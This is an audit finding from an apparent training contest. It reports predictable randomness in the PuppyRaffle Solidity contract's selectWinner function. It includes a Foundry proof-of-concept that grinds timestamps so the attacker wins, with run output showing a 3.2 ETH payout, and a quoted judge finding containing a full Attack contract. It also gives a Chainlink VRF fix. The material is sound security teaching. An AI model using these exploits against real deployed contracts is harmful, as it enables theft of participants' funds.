Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in `PuppyRaffle::selectWinner` allows any player to predict and choose the winner and the puppy rarity

Root + Impact

Description

Normally, a raffle's winning ticket must be drawn from randomness that no participant can predict or influence. However, the current implementation computes both the winner and the rarity from fully on-chain, caller-influenced entropy.

The vulnerability exists in PuppyRaffle.sol#L128-L146.

Root Cause: Insecure randomness — predictable, user-influenceable entropy source.

Vulnerable Code:

// File: src/PuppyRaffle.sol — Lines 128–146
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Why This Is Exploitable:

All three inputs are known before the transaction is executed: msg.sender is the caller (an attacker can grind many sybil addresses), block.timestamp is coarse and can be targeted by waiting, and block.difficulty (post-Merge: PREVRANDAO) is public and additionally biasable by the block proposer. The attacker evaluates the exact same hash off-chain for candidate (caller, timestamp) pairs and submits selectWinner only when the result maps to their own slot. With 4 players, each candidate timestamp has a 1/4 chance of winning — a favorable one appears within seconds. The same grinding applied to the rarity hash mints only legendary puppies.

Risk

Likelihood:

  • Any entered player can do this every round; the off-chain search costs seconds (a favorable timestamp was found 13 seconds into the search window in the PoC).

  • No capital, role, or MEV infrastructure is required — only patience, or sybil caller addresses for instant grinding.

Impact:

  • Guaranteed theft of the 80% prize pool in every round the attacker enters (repeatable, bounded per round).

  • Manipulation of the NFT rarity supply (legendary puppies on demand), breaking the raffle's fairness guarantee.

Proof of Concept

function testPoC_PredictableWinnerSelection() public {
address attacker = address(0xA77AC4);
address[] memory entered = new address[](4);
entered[0] = playerOne;
entered[1] = playerTwo;
entered[2] = attacker;
entered[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(entered);
uint256 startTs = block.timestamp + duration + 1;
uint256 chosenTs;
bool found;
// attacker precomputes winnerIndex for candidate timestamps and waits for a favorable one
for (uint256 t = 0; t < 1000; t++) {
uint256 ts = startTs + t;
uint256 idx = uint256(keccak256(abi.encodePacked(attacker, ts, block.difficulty))) % 4;
if (entered[idx] == attacker) {
chosenTs = ts;
found = true;
break;
}
}
require(found, "no favorable timestamp found in range");
console2.log("favorable timestamp found at offset (s):", chosenTs - startTs);
vm.warp(chosenTs);
uint256 balanceBefore = attacker.balance;
vm.prank(attacker);
puppyRaffle.selectWinner();
console2.log("previousWinner:", puppyRaffle.previousWinner());
console2.log("attacker prize received (wei):", attacker.balance - balanceBefore);
assertEq(puppyRaffle.previousWinner(), attacker);
assertEq(attacker.balance - balanceBefore, (entranceFee * 4 * 80) / 100);
}

Run: forge test --match-test testPoC_PredictableWinnerSelection -vv

Output (actual run):

[PASS] testPoC_PredictableWinnerSelection() (gas: 304224)
Logs:
favorable timestamp found at offset (s): 13
previousWinner: 0x0000000000000000000000000000000000a77ac4
attacker prize received (wei): 3200000000000000000
  1. Alice, Bob, the attacker, and Dave enter the raffle (4 ETH pot). The raffle duration elapses.

  2. The attacker precomputes uint256(keccak256(abi.encodePacked(attacker, ts, block.difficulty))) % 4 for upcoming timestamps, finds one whose index maps to their own slot, warps time to it (on mainnet: simply waits), and calls selectWinner from their address.

  3. previousWinner is the attacker and they receive exactly the precomputed 3.2 ETH prize.

Recommended Mitigation

Replace the on-chain hash entropy with a verifiable randomness source such as Chainlink VRF: request a random word when the raffle ends, and settle the winner and the rarity in the VRF fulfillment callback. This binds the outcome to entropy nobody — including validators — can predict or bias.

Proposed Fix:

// File: src/PuppyRaffle.sol
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ uint256 winnerIndex = randomWordFromVRF % players.length; // obtained via Chainlink VRF request/fulfill
// ...
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = uint256(keccak256(abi.encodePacked(randomWordFromVRF, uint256(1)))) % 100;

References:

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!